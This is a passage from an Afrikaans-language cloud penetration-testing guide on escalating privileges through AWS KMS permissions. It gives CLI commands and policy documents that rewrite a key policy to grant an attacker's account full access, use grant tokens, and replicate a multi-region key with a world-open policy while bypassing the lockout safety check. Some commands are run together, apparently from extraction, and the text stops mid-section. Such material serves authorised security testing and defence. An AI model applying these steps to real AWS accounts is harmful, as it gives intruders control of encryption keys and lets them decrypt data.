Met hierdie toestemmings is dit moontlik om die toegangsregte tot die sleutel te wysig sodat dit deur ander rekeninge gebruik kan word of selfs deur enigiemand:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
kms:CreateGrant
Dit laat 'n hoofsaak toe om 'n KMS-sleutel te gebruik:
Let daarop dat dit dalk 'n paar minute kan neem vir KMS om die gebruiker toe te laat om die sleutel te gebruik nadat die toekenning gegenereer is. Nadat daardie tyd verstreke het, kan die hoofgebruiker die KMS-sleutel gebruik sonder om enigiets te spesifiseer.
Indien dit egter nodig is om die toekenning onmiddellik te gebruik, gebruik 'n toekenningsteken (kontroleer die volgende kode).
Vir meer inligting lees hierdie.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
Merk op dat dit moontlik is om die toekenning van sleutels te lys met:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
Met hierdie regte is dit moontlik om 'n multi-streek-geaktiveerde KMS-sleutel in 'n ander streek met 'n ander beleid te dupliseer.
Dus, 'n aanvaller kan dit misbruik om sy toegang tot die sleutel te verhoog en dit te gebruik
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
Hierdie toestemming maak dit moontlik om 'n sleutel te gebruik om sekere inligting te dekodeer.
Vir meer inligting, kyk: